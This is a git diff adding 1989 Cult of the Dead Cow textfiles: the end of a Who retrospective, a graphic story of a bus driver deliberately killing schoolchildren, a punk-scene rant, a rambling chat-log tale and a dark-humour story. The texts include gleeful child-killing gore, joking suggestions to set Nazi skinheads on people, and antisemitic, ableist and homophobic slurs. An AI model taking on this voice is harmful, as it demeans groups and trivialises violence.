in the UK and 25 in the U.S. Amazingly, it was +accused in the U.S. of being drug oriented. + + The great PINBALL WIZARD was released in 1969. This brilliant no-nonsense +triumph of guitar rock immediately caused another row. The BBC attacked it as +sick. However, the New Yorker magazine called it, "...more than excellent - +one of the great rock songs of the decade." It climbed to no. 4 in the UK and +19 in the U.S. + + Shortly after the Who presented their much-awaited rock opera double album +TOMMY, from which PINBALL WIZARD, I'M FREE, and SEE ME, FELL ME are taken. +TOMMY was a major milestone in rock history. The most important and innovative +rock album since SGT. PEPPER. + + It was an immediate huge success and obviously inspired Townsend's +interest in the mysticism which he'd developed two or three years earlier. +He'd been discussing in interviews his devotion to Mether Baba for some time. +Life Magazine said, "...for sheer power, invention and brilliance of +performance TOMMY outstrips anything that has ever come out of a rock recording +studio." + + It established Townsend as the greatest rock songwriter after Lennon and +McCartney, and elevated Daltrey as the most important rock vocalist and stage +performer. At live shows TOMMY sounded even better. Seeing the Who perform +TOMMY on stage must have been the high point of rock for very many people. +When they were good - they were overwhelming. During 1979 and 1980 the group +toured America, Europe, and Britain with TOMMY, leaving a trail of mind-blown +disbelieving Who converts in their wake. They also played it in the major +European opera houses, at the London Coliseum, and finally, the New York Met. +They were now the biggest box office draw on both sides of the Atlantic. + + The extent of the success of TOMMY surprised even the Who. The post-TOMMY +Who had finally reached the position of the DEFINITIVE rock band. The Melody +Maker summed it up declaring, "Surely the Who are now the group against which +all others are to be judged." Their concerts sold out twenty times over. The +San Francisco Chronicle claimed the show, "Absolutely staggering in its +emotional and musical power." Townsend said later, "We went from the +ridiculous to the sublime - being told we were musical geniuses when really we +were just a bunch of scumbags." + + In 1970 to counter TOMMY-hysteria they released an album of a live +concert, LIVE AT LEEDS, still regarded as the best intelligent heavy metal +album ever. In June of 1971 came the phenomenal WON'T GET FOOLED AGAIN, almost +a 70's version of MY GENERATION. The first intelligent use of synthesizer in +rock. It reached no. 15 in the States, and no. 9 in Britain. + + The next album, WHO'S NEXT, their first "polished" studio album, went gold +in six weeks in the U.S. reaching no. 4. The Who had opened London's new +Rainbow Theater and were soon back for a posher do when a star-studded cast +performed TOMMY in a version scored for the London Symphony Orchestra and +Chamber Choir (The Royal Albert Hall refused it as 'unsavory'). + + JOIN TOGETHER was released in June 1972 reaching no. 9 in the UK and 17 in +the States, and the long-awaited concept album QUADROPHENIA, about a young 60's +mod was issued in November 1973. ODDS AND SODS, an album of previously +unreleased material was issued in 1974. + + In 1975, Ken Russell's film version of TOMMY was lavishly premiered in +London, New York, and L.A., and was a huge box office success. THE WHO BY +NUMBERS album came out in October of 1975. The Who introduced lasers into the +act in America. It was the first time they'd been used in rock. The band were +now using 72 speakers and 14 tons of equipment. + + 1976 saw SQUEEZE BOX a lively foot-stomping number, brilliantly sung by +Daltrey and with a banjo guitar solo from Townsend, it reached 16 in the U.S. +charts and 10 in the UK. At their Charlton football ground concert, 70,000 +loyal fans braved five hours of rain to hear what the Guinness Book of Records +measured as the loudest ever rock concert (76,000 watts producing 120 +decibels). + + The Who were inactive throughout 1977. Moon had beenliving full time in +America and early in 1978 Townsend declared the Who wouldn't tour any more. +WHO ARE YOU issued in the summer of 1978, was hailed (by some) as their best +single for ten years. It's driven along by a strong riff which is a +combination of guitar, bass, and synthesizer with a powerful chanting chorus. +In the UK it reached 18, in the U.S. 14. + + The WHO ARE YOU album which followed became their biggest and fastest +seller ever. Daltrey was much praised for the vocals. + + Moon had moved back to live in England but in the early hours of September +7th, 1978, after attending Paul McCartney's party for the screening of The +Buddy Holly Story, Keith died from overdosing on a drug prescribed for +alcoholic withdrawal symptoms. + + Keith Moon was unique and universally acclaimed as the greatest drummer in +rock (as nearly all the tracks here prove). He could almost be called the lead +drummer on many of the tracks. He not only kept the beat but played like an +extra instrument. His ability to anticipate a gap in the music, jump in quick +as a flash, fill it with a dozen sharp machine-gun 'shots', and get out cleanly +in time for tea, was incredible. (Just listen to I CAN SEE FOR MILES, PINBALL +WIZARD, THE KIDS ARE ALRIGHT - any of them). He was also (in)famous as 'Moon +the Loon', the witty, outrageous, lovable, eccentric of rock. Master +practical-joker and hotel-wrecker par-excellence. He was genuinely funny and +one of the most-liked individuals in the music business. + + For a time it looked like the end of the Who. However, the other three +eventually decided that Keith wouldn't have wanted that and resolved to carry +on and even go back on the road. Old friend and ex-Faces drummer Kenney Jones +joined the band and proved himself at their first concert at London's Rainbow +Theater. + + They played the huge Wembley stadium to 77,000. A major tour of the +States followed starting in Detroit. The Who were back on the road and did +several more major concerts in Europe and the States. The film version of +QUADROPHENIA was premiered in 1979, very timely for the mod revival. As +Newsweek noted, "...a damn good movie," and a huge box-office success in +Britain . About the same time THE KIDS ARE ALRIGHT, a documentary film on the +band came out. + + The first single with Jones as drummer YOU BETTER YOU BET was released in +February 1981 and the album from which it came FACE DANCES, a month later. +Both went to no. 1 in Billboard's rock charts and the single to no. 9 in the +British charts. The album was beaten into the no. 2 spot in Britain by ADAM +ANT who sold just nine copies more. + + The last album the Who released was IT'S HARD. They played their farewell +concert in Toronto at the end of 1982. No guitars were smashed at the end. +They reformed to play four numbers for the Live Aid concert in 1985. In +February 1988 the British Phonographic Industry presented the Who with a +special Lifetime Achievement award for their contribution to rock music and in +March this album WHO'S BETTER WHO'S BEST was released. JIM REEVES, and ADAM +ANT permitting, it deserves to go to no. 1. + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 Greenpeace's IGB......916/673-8412 + \ / |PURE NIHILISM..........new # soon Ripco.................312/528-5020 + (' ') |Tequila Willy's GSC..209/526-3194 The Works.............617/861-8976 + (U) |===================================================================== + .ooM |1989 cDc communications by The Pusher. 09/30/89-#119 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0120.txt b/textfiles.com/groups/CDC/cDc-0120.txt new file mode 100644 index 00000000..54fc06e3 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0120.txt @@ -0,0 +1,152 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... The Bus Driver + by Scum + + >>> a cDc publication.......1989 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + + DAMN I HATE THOSE KIDS! JUST LIKE THE ONES I HAD TO PUT UP WITH IN +SCHOOL. Unfortunately, it's my job to haul the little fuckers back and forth +from school. To this day, though, I've never been late or called in sick. +Always on schedule, that's my motto. + + My name? Oh, it's Willy. Willy Pusler. But those little fuckers call +me "PUSBAG". DAMN I HATE THOSE LITTLE SMART-ASS FUCKERS. + + 7:01-First stop coming up on schedule. + + Suddenly, my pent-up anger took control, forcing me to speed up. Ahead +of me I could see that little bastard freshman, Tommy, waiting for me to haul +his little ass to school. He was the one who first started calling me +"PUSBAG". GOD I HATE HIM. + + He looked at me coming down the road. He got an odd look on his face +when he noticed I wasn't slowing down. + + 7:02-First stop on schedule. + + I swerved and hit Tommy. I could hear his bones snap as he fell under +the massive front tire. It was a lot like the time I accidentally ran over +that dog three years ago, only this was a bigger bump, that's all. + + A sudden realization of what I did shot through my mind and it was +invigorating! + + 7:04-Next stop on schedule. + + There were nine fuckers this time around, but I only managed to hit six +of them. Chuck, a junior, and Julie and Brian, two sophomores, were my only +fatal hits. I wasn't sure about Kate. It didn't matter anyway, because she +was retarded. Unfortunately, Paul and Brian would probably live. SHIT, THOSE +EIGHTH GRADERS ARE HARD TO KILL. You wouldn't think they would be, though. + + 7:05-Next stop coming up on schedule. + + I raced down the curving back roads, for once eager to get to the next +stop. + + 7:06-Next stop on the schedule. + + Jenny didn't even have time to dodge. Her small frail body was crushed +to a pulp under my instrument of vengeance. All I saw was a streak of red +across the lower portion of the door's window. + + 7:09-Next stop on schedule. + + Those two eighth graders weren't as lucky as Paul and Brian. I think +Cindy's brother, Stanley, got stuck the front of the bus because not only +didn't I see his remains in the mirror, I could hear something wet slapping the +pavement below me. In a while it should dislodge itself anyway. + + 7:12-Next stop on schedule. + + Unfortunately, the girl at the next stop saw my most recent victim +dangling from the front of the bus. She screamed and ran into the safety of +her house. DAMN! + + I pulled over alongside the desolate road and stopped, hoping it wasn't +going to take too long to clean up this mess. His mangled arm was wrapped +around the front bumper with only his head and torso still hanging on. I don't +know what happened to his other arm. I now noticed the streak of blood and +inards trailing behind the bus. Surprisingly, I wasn't sick or nauseated in +the least. Actually, it was quite interesting. I had never seen half a body +before. + + I removed the remains, threw them in the ditch, and hopped back on the +bus. + + 7:15-Next to the last stop coming up... + + DAMNIT! BEHIND BY TWO MINUTES. There were six of them - two girls, +four boys. If I was lucky I'd get John, Tommy's friend, and the Romero +sisters. Those little bitches. They were the ones who taped the "FUCK ME, I'M +DESPERATE" sign on my back. + + I attacked doing 75 mph. I missed John and hit Tony, a senior, +instead. Being a stoner, he wasn't too much of a challenge. I also managed to +plow over two of the freshmen. I hit both of the Romero sisters, but I think +Sally survived. I know Sarah didn't because she was thrown into the air on +impact and landed with a loud thud on the hood. Her bloodied face pressed +firmly against the window, leaving a crimson streak against the glass as she +slid off. I saw her limp body tumble down the road through my rear-view +mirror. It kind of reminded me of an acrobat I'd seen on TV. + + 7:19-Last stop coming up, still behind. + + As I turned onto the highway, I noticed a cop car in the distance, +siren on, lights flashing. FUCKIN' DANDY! I was already a minute behind so I +sped dup to 90. If I wa lucky, I'd get there in one piece and mow down the +last kid. + + 7:22-Last stop, still behind. + + He was in sight. His name was Robert Mills. He wa a quiet kid and +actually quite nice. He was the only one to say goodbye to me when I dropped +him off at home. The cops were coming up fast, so I had to decide now whether +I was going to spare him or not. I swerved, not into Robert but away from him. + STUPID MOVE! There was a semi coming down the other lane, which I hit doing +95. + + *** + + Ever since the bus driver incident five years ago, I've never stepped +foot on a bus. Some of those kids that died were real fuckers, though. Let's +just say I didn't shed any tears, you know? Since I took Driver's Ed. last +year, I can now drive my own car to school instead of depending on my Mom to +get me there in time. + + Oh my name? It's Robert. Robert Mills. OOPS! It's now 7:01. I +better hurry to school. I've never been late or called in sick. Always on +schedule, that's my motto. + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 Greenpeace's IGB......916/673-8412 + \ / |PURE NIHILISM..........new # soon Ripco.................312/528-5020 + (' ') |Tequila Willy's GSC..209/526-3194 The Works.............617/861-8976 + (U) |===================================================================== + .ooM |1989 cDc communications by Scum. 09/30/89-#120 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0121.txt b/textfiles.com/groups/CDC/cDc-0121.txt new file mode 100644 index 00000000..b1b7b730 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0121.txt @@ -0,0 +1,159 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Ultra Trendies + by Psychedelic Warlord + + >>> a cDc publication.......1989 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +Trendy Death: The Next Generation.. + + + I've discovered something sickening and vile. I've discovered a new +creature: THE ULTRA TRENDY. + + I'm sure you remember the old trendies: "Yeah... I'm socially conscious... +I listen to U2 and INXS. Yeah... that's me...." You remember their shallow +lives, their social ladders, and the hollowness. Well friends, that was just +the beginning. The new trendy, the ULTRA TRENDY, has invaded the ranks of the +TRUE alternative scene, and it's a cancer that might cause the death of each +and every scene across the nation. + + These new trendies can actually be found at the shows that you attend +every so often. In fact, at your average punk/alternative show, the MAJORITY +will be ultra trendies. + + Although an in-depth essay on these infiltrating trendies would +probably be more beneficial and help you, I will, as I did in my last trendy +file, just give you pointers in spotting them, and maybe some help in killing +them. I know you don't wanna sit through 20, 10-line paragraphs describing +this vile species. + +^^^^^___^^^^^___^^^^^___^^^^^___^^^^^___^^^^^___^^^^^___^^^^^___^^^^^___^^^^^ + +xXx ULTRA TRENDIES know nothing about the alternative scene they profess to +care about so much. One can often hear them state something along the lines +of, "Yeah, I went drinking with Minor Threat last night. Their lead singer has +the COOLEST mohawk." + +xXx ULTRA TRENDIES over play the "punk" lifestyle. They can recite everything +Gary Oldman said in "Sid and Nancy". + +xXx ULTRA TRENDIES are usually the 'scene sluts' that many of the menfolk +admire so. They show up, get drunk with the band, and tell the lead singer, "I +really like your music. I think it's a lot like the Sex Pistols. Sooo... you +wanna fuck?" + +xXx The only band these ULTRA TRENDIES have ever listened to, has been the Sex +Pistols. Sid Vicious is a fucking GOD to these people. + +xXx ULTRA TRENDIES drive up to the shows in their mom's new sports car, and +brag that they got "kicked out of the house." They then go on to add, "My mom +is SUCH a bitch. I'm gonna fucking kill her." + +xXx ULTRA TRENDY females hook-up with violent boyfriends because, (yeah... you +guessed it) "He's so much like Sid Vicious!" + +xXx If an ULTRA TRENDY is not dating a violent member of some "1977, Sex +Pistols stuff kinda band..." then she is thrown out of the ULTRA TRENDY caste +system, and must then go fake her way into the glam-rock circuit. + +xXx According to ULTRA TRENDIES, you must "skate or die," and if, "you don't +skate, you're not punk!" + +xXx ULTRA TRENDY male: big black X's on his hands and he is snorting coke like +Sid Vicious did. + +xXx ULTRA TRENDY: "Well... the reason I don't go in the pit, is... well... +see, I uh... broke my leg... yeah, I broke my leg... and I'm not wearing a cast +because... uh... because... because I'm tough! Yeah... I'm tough... I don't +need a cast.... By the way, did you get the new Sex Pistols bootleg?" + +xXx Engage a suspected ULTRA TRENDY in conversation, and ask him or her what +they think of Government Issue, and if he/she says, "I think they sound a lot +like the Sex Pistols," you know that you got a live one on your hands. + +xXx You can spot an ULTRA TRENDY by the large 'A' (for ANARCHY, a concept they +know nothing about) on his or her shoes. + +xXx ULTRA TRENDIES hang around in packs. If you see a bunch of people with +shiny, leather jackets talking about how they'd like to be anti-christs and +anarchists, you've hit a ULTRA TRENDY territory. + +xXx On very rare occasions (due to low mentality and creativity), ULTRA +TRENDIES will put together a band. It'll usually be called something like 'The +Anarchists', or, if a total lack of creativity comes on, they will name +themselves 'The Sex Pistols.' + +^^^^^___^^^^^___^^^^^___^^^^^___^^^^^___^^^^^___^^^^^___^^^^^___^^^^^___^^^^^ + +Well, now you've got your ULTRA TRENDY identified, so whaddya gonna do? + +^^^^^___^^^^^___^^^^^___^^^^^___^^^^^___^^^^^___^^^^^___^^^^^___^^^^^___^^^^^ + +xXx Tell the ULTRA TRENDY that Sid Vicious is dead. + +xXx Tell the Nazi Skins in your area that this certain ULTRA TRENDY has AIDS. + +xXx Tell 'em that the new 'punk' thing to do is to play in the middle of the +freeway. + +xXx Tell him/her that the Sex Pistols broke up 10 years ago. + +xXx To kill an ULTRA TRENDY female, show her a picture of what she'd look like +without make-up. + +xXx Tell him or her that they're completely ugly. + +xXx Tell the ULTRA TRENDY that the new trend is to butt-fuck skinheads. + +xXx Tell the ULTRA TRENDY that punk went out of fashion 10 years ago. + +xXx Play Youth Brigade at 50 decibels + +^^^^^___^^^^^___^^^^^___^^^^^___^^^^^___^^^^^___^^^^^___^^^^^___^^^^^___^^^^^ + +* Be wary of anyone that suddenly appears at shows with SeX pIStOLs t-shirts +on, and screams, "Long live Sid!" + + + Trendy + +I look into the steely blue ocean +I see my reflection. +As I look closer I notice something. +I look almost transparent. +As if I wasn't there. +Like I wasn't an individual anymore. + + -Mike Stevens + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 Greenpeace's IGB......916/673-8412 + \ / |PURE NIHILISM..........new # soon Ripco.................312/528-5020 + (' ') |Tequila Willy's GSC..209/526-3194 The Works.............617/861-8976 + (U) |===================================================================== + .ooM |(c)1989 cDc communications by Psychedelic Warlord. 2/6-09/30/89-#121 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0122.txt b/textfiles.com/groups/CDC/cDc-0122.txt new file mode 100644 index 00000000..a54deeff --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0122.txt @@ -0,0 +1,121 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | (A commercial artist would| |/ / (Please notice how the header | | + | | charge a buncha money | | / is perfectly centered and | | + | | for these 'too cool' | / aesthetically pleasing.) | | + | | letters, boy.) |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...gifts... David and Goliath: Goliath's Point of View + (a thoroughly worthless tale) + + Telewritten by Leper Messiah and Swamp Rat + on The Dead Zone BBS... just to PROVE how stupid + we are. Unedited to preserve the full impact. + Damn right. + + >>> a cDq publication.......1989 <<< + -cDq- CULT OF THE DEAD Q-TIP -cDq- +_______________________________________________________________________________ + + + +LM: THE ROck doctor..sounds great...........d00wd......hows this for +storys......"David and Goliath: Goliaths point of view"......."There he was, +that shit-fuck David, jew-bastage from hell.......andhe was going to kill +me".....dot dot dot. + +SR: dot dot dot. spiffy. yeah, so like i tried to stomp on him, but he hit me +withthis fucking rock on teh head, and i passed out. i woek up in bangladesh, +id dunno how. + +LM: And that pissed me off.........so.....so........I destroyed Atlantios. + +SR: yeah, and sunk along with teh city..and landed in mud and sunk deeply and +was preserved for thousands of years...until the bottled city of sitnalta, +ivnefsed atlnatis, was discoverd..and Aquaman came and foudn me deep within the +mud and fossils and dgu me out..i promptly ate him and his stupid fish, and +went up to ravage the surface world.. + +LM: But then I was offered a movie contract with a horror film director...... + +SR: but they got upset 'cause i kept getting confused and like hitting the +people and splttering 'em all over..liek teh actors, ya know..so they'se dead, +and diredctor yelled, and I got upset, and went off to get drunk..and i became +an alcoholic, and got written up in the tabloids 'cause i had an affair with +elizabeth taylor, and tehn i was so wiped out i had to go the betty ford +rehabilitation center wheer i screamed ina room and then.. + +LM: Thisis a definite text file...just get that buffer out...edit..and..... +wah-lah...best seller.........shlong me. + +SR: and then waht...yeah..agreed, tfile material...and um...i went on to +co-star on children's tv special with Bil Cosby and Mr. T teaching kids to say +no to drugs and ...um...obesity. + +LM: But then...........Sesame Street hired me to be the new sNuffaluffuhguss, +and they had a new series..... + +SR: whree I was...tadah..."SUNFFALGFAGUS..the AVENGER!" and I chased pimps and +drug gang guys and like i um... + +LM: slowly became the hero of the modern nation of America. Children and +parents alike hailed me as their savioiur, and sure enough, the Republican +Party nominated me to be president... + +SR: But whatsisname...the guy who shot reagan? + +LM: Hinkley...he lived a block over fromme. + +SR: neat. John hinkley Jr., the only sane person left,tired to assasinate +me..adn lying in bed with a bullet in my prostrate, the people realized they +didn't want a big sily person in a red snufflefagus suit as their president, so +i was impeached, and now i'm a street person eating old grapes. + +LM: But unfortunately, two of these grapers were poisonous, and I got in Time +magazine with a bunch of catchy titles like "The Grapes of ...DEATH".....and +once again, prostrategland-less and snufelufegass suitless, i became a hero of +society, saving them from the perils of old grapes" + +SR: rapes from ...the plce with cyanide grapes..? + +LM: Of course, they threw them out....and.....goliath picked em up. + +SR: nono...they were grapes tha the found...and he was the first to die, and in +doing so, saved everyone from immenent death. + +LM: But being a Bible character, he is immortal.... + +SR: well, in words..but i mean, like he's nota diety..just a hero..higher than +garfield though. + +LM: But definetly not as high as Heathcliff.. + +SR: no way. so he's dead. The End? + +LM: damn, i suppose so........ + +SR: Cool. lemme go buffer. + + antlers! + _ /_ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ o o ] |Demon Roach Undrgrnd.806/794-4362 Greenpeace's IGB......916/673-8412 + \ . / |PURE NIHILISM..........new # soon Ripco.................312/528-5020 + (' ') |Tequila Willy's GSC..209/526-3194 Mistress Hildegarde...718/520-0085 + (U) |===================================================================== + .ooF |(c)1989 cDc communications by LM & SR. 09/30/89-#122 +\_______/|All Rights Left. + diff --git a/textfiles.com/groups/CDC/cDc-0123.txt b/textfiles.com/groups/CDC/cDc-0123.txt new file mode 100644 index 00000000..f1a5f1af --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0123.txt @@ -0,0 +1,350 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Beautiful Stories for Ugly Children #2 + + by Dave Louapre + + >>> a cDc publication.......1989 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +"Beautiful Stories For Ugly Children #2 - The Deadjohnson's Big Incredible Day" +by Dave Louapre + +Prologue: Clyde and Marguritte Deadjohnson. Just average suburbanites who +enjoy barbecues, lawn darts, and bowling. Good friends, good neighbors, and +active members of their community. + + Of course, Clyde and Marguritee are dead, but that doesn't keep them +from enjoying everything life has to offer. THE DEADJOHNSON'S BIG INCREDIBLE +DAY takes us through an exciting week of non-stop fun for the Deadjohnsons, +culminating in an appearance by God Himself. + + It seems that God has decided to "destroy the earth by flood as +punishment for its wealth of violence and complacency." Naturally enough, He +chooses the Deadjohnsons to survive and repopulate the Earth. Just another +average, Big Incredible Day for Clyde and Marguritte Deadjohnson. + +End prologue. Begin story: + + ______________________________________________________________________________ + ------------------------------------------------------------------------------ + + It was Friday, and Clyde and Marguritee Deadjohnson were in their +chairs. They had not gone to their jobs all week, but they stayed home in case +anything happened. + + Nothing did, but they were prepared just the same. "At the ready," as +Marguritree liked to put it. + + "You know," Clyde said, "when a man gets up in the morning, the first +thing he does is go to the bathroom, and one of the first things he sees as +he's standing there is the reflection of his own face in the toilet water. And +then he proceeds to piss on it." + + "Guy," said marguritee, "I guess that's true." + "Yes," Clyde said, "it is. And I'll tell you something else. This +happens every day of his life. So if he lives to be something like, oh, say +seventy years old, that means he will have pissed on his own face something +like..." he made some quick calculations, "I don't know, around eight billion +times I guess." + Marguritte thought about this carefully. "That's not a very good way +to start the day," she concluded. + "No, it isn't," Clyde agreed. + "You'd think someone would do something about it," Marguritee said. + "What can you do?" Clyde said. They thought about it for a second. + "Well, at least you don't have to worry about it," Marguritee answered. + "You're dead." + "Yes," agreed Clyde. "Dead I am." + They began planning the day, it had already been a long week. + + Monday they'd spent in the front yard looking at Tippy, the dog. Tippy +wasn't in the mood for playing fetch, as he was dead too. So they watched the +flies buzz around his body. After a disastrous round of lawn darts, Clyde +suggested a dip in the pool. The only thing they could seem to do was float +head-down on the surface. Frustrated, they gave up their swimming and decided +to watch Tippy's flies the rest of the afternoon. It was a long, hot day. + + Tuesday afternoon was a barbecue with their neighbors, Glenn and Edna +Catwomb. Glenn drank seventeen longnecks which he opened with his teeth. +Clyde didn't know any good tricks like that. Edna told Marguritte she "just +loved a summer 'Q'", even though it was December, and ate most of the antipasto +salad she'd brought from the deli. The Catwombs were from southern North +Dakota and had an ancestor on the Mayflower. Glenn threw up on the way home, +five times. + + Cheese crackers and Gilligan's Island rerurns were the order of the day +on Wednesday, which found Marguritte in a trance-like state, dabbling in +psychokinesis. Clyde did not believe in it. "No one can move things by using +their brains, not even those guys who can bend spoons," he thought to himself, +though careful not to break his wife's concentration. During a brief respite, +Marguritte told Clyde to name an object in the room and she'd transport it to +him. Clyde named the remote control on top of the television set. Around that +time the telephone began ringing incessantly, and try as she may, Marguritte +could not seem to muster up the concentration necessary to get the remote to +her husband. + + Thursday was bowling and French Dip sandwiches. It was a particularly +bad game, as neither Clyde nor Marguritte seemed to get anything but gutter +balls. + + Having survived the week, the Deadjohnsons decided a treat was in +order. Donning their casual sportswear - what Clyde called their "fun clothes" +- they made a list on a clean paper towel of things they might do, including a +picnic and a visit to Antworld. + + In the car they had this conversation: + + Marguritte: "Do you suppose there are a lot of people in Hell?" + Clyde : "Yes, probably." + Marguritte: "About how many would you say?" + Clyde : "I don't know. A bunch, I'd guess." + + Marguritte thought about this. + + Marguritte: "Do you think anyone we know?" + + Clyde thought about this. + + Clyde : "Yes, the Newmans. I bet the Newmans are burning in Hell." + Marguritte: "I bet you're right. I'd forgotten about the Newmans." + + They were silent for two blocks. + + Marguritte: "Do you suppose people really burn in Hell, honey?" + + Clyde : "Well, if they don't, someone's been spreading some pretty +scary rumors." + + They had a good laugh at this and proceeded to the market. + + In the meat department, the man ahead of them was caught stealing and +beaten brutally by wary employees. Since it was a special day, Marguritte +suggested they buy the most expensive meat they could find, which they did. + + In the parking lot, a near tragedy transpired when Marguritte lost +control of the cart and sent it careening downhill with Tippy the dog still +aboard. Down, down it raced, faster and faster through the swerving cars +before veering off and spilling over the hump of a friendly embarkment directly +across the street from a burning Christmas tree lot. As luck would have it, +the embankment was in the very park Clyde and Marguritte would picnic in that +day. Tippy was shaken, but not stirred. + + So the early afternoon was spent on the grass with nothing to do but +eat and breathe. There were no barbecue grills, as Clyde had hoped, so they +had to throw their expensive meat away. Marguritte found an abandoned baby +bird in a fallen nest. "Don't touch it," Clyde warned, "or its mother will not +accept it back." But it was too late. Tippy showed no interest in the Frisbee +they'd brought, so Clyde and Marguritte headed for the nearby riding stables. + + Several riders had been thrown on the path the Deadjohnsons now ambled +along. + "Of all the Cartwrights," Clyde said, "I think Little Joe was by far +the best rider. Good low center of gravity, light build, you know. Much +better than Hoss." + "Oh yes," Marguritte agreed. "Hoss was just too big." + "Yes," Clyde added, "and his head was too round. Like a great big +orange." + "Uh-huh," his wife concurred. "A really big orange. But at least he +was likable. Not like that Adam. I didn't care much for Adam." + "No, neither did I," said Clyde. "Too brooding." + "Yeah," said Marguritte, "and sinister looking, like one day he might +just shoot Ben and Hoss and Little Joe and burn the Ponderosa to the ground." + "And Hop Sing!" Clyde scowled. "I bet he'd shoot Hop Sing, too, that +louse. I hate him. I hate Adam Cartwright!" + "So do I. I hate him, too!" Marguritte shot back. "And I hear he's +really bald!" + "Yeah, I heard that, too," Clyde said. "Serves him right." + "Yeah, serves him right!" Marguritte said. + + The rest of the ride was uneventful, other than the horses being +periodically spooked by the many flies which seemed to follow the Deadjohnsons +around. + + Leaving the park, Clyde spied a hang glider plummeting from a +neighboring cliff, its aluminum frame of the left wing buckled and twisted. +"Look," he said, "that's something you don't see very often." + "No, you sure don't," Marguritte agreed. "It's things like that that +make me glad I can't fly." + "Yes," Clyde said, "I'm definitely a creature of the earth and not the +air." + "Yes," Marguritte said, "so am I." + + By the time they made it to Antworld, news of a skybucket tragedy was +spreading like wildfire, and the shrieks of the suddenly wounded and lame still +echoed amidst the festive laughter. The shattered plexiglass skybucket lay in +shards about the Antworld Information Booth entrance, having fallen from the +steel cables strung through the air. Though it was more crowded than Clyde had +anticipated, the lines were relatively short. About half an hour's wait, tops. +Various ant characters in funny ant regalia sang and danced about the patrons, +and everyone joked about the "Mr. Ant" exhibit, which wasn't very popular among +the kids. + + Clyde and Marguritte explored "Ant Island" and went on most of the +other ant rides. Though the "Ant Boats" proved less than exciting, the visit +to the "Ant Farm" was most educational. The guide picked Marguritte to help +demonstrate how ingeniously ants engineer entire colonies in earth by stuffing +her head-first into a hole in the ground. Marguritte was always happy to use +her talents as a dead person to help others. Clyde could have kicked himself +for not bringing a camera. + + In the Antworld Souvenier Silo they bought silly hats with the names +printed on the back - one for Tippy as well, who had to wait outside. + + "The funny thing about these hats," Clyde remarked, "Is that they make +you look like an ant. See, they have antennas, just like ants! But look at +how big we are! We're way too big to be ants!" They laughed. + "We are," Marguritte observed, "but Tippy will look right at home." +They laughed again. + "Yeah," Clyde said, "but he'd still be a pretty big ant." He then +tried to put the dog's hat on its head, but Tippy kept pawing it off and onto +the ground. "Stupid dog," muttered Clyde, and they left. + + Night had fallen like a fat cow from a helicopter by the time they +reached their car, and in the glare of the headlights two rival gangs rumbled +with zip guns, chains, and broken bottles. The Deadjohnsons stopped for a bite +at the Wagonwheel, but the waitress was uppity and would not wait on them. +Clyde counted sixteen items on the menu with the term "super" attached, and +Marguritte found ten with "deluxe." After an hour they left, the salt and +pepper shakers safely tucked away in Marguritte's purse. + + Arriving home, they learned that Glenn and Edna Catwomb had been slain +by maniacs. "It could well have been us," Clyde told Marguritte. + "But we're already dead. Aren't we dear?" reasoned Marguritte. + "Yes... you're right. But it's the idea that really irks me," +responded Clyde. + "Ah," said Marguritte. + + To take their minds off the mayhem of police and reporters outside, the +Monopoly board was dragged out. As usual, the Deadjohnsons were reluctant to +purchase any property. Marguritte, however, won ten dollars for being +runner-up in the beauty contest and got both "get out of jail free" cards. +Clyde saved up over $1100 in pass and go money. He was assessed once for +building taxes. "Ha!" he remarked, "No houses, no taxes!" The bank eventually +ran out of money and they stopped playing. Marguritte said, "I really wish +they had one of those pop-o-mattic deals." + + Late that night they lay in bed, relaxing in the bluish aura of the +portable TV. A news update showed highlights of the Antworld skybucket mishap. +"Ha," Clyde yelled, "we were there. We most certainly were there today." + Marguritte spotted herself and Clyde behind the 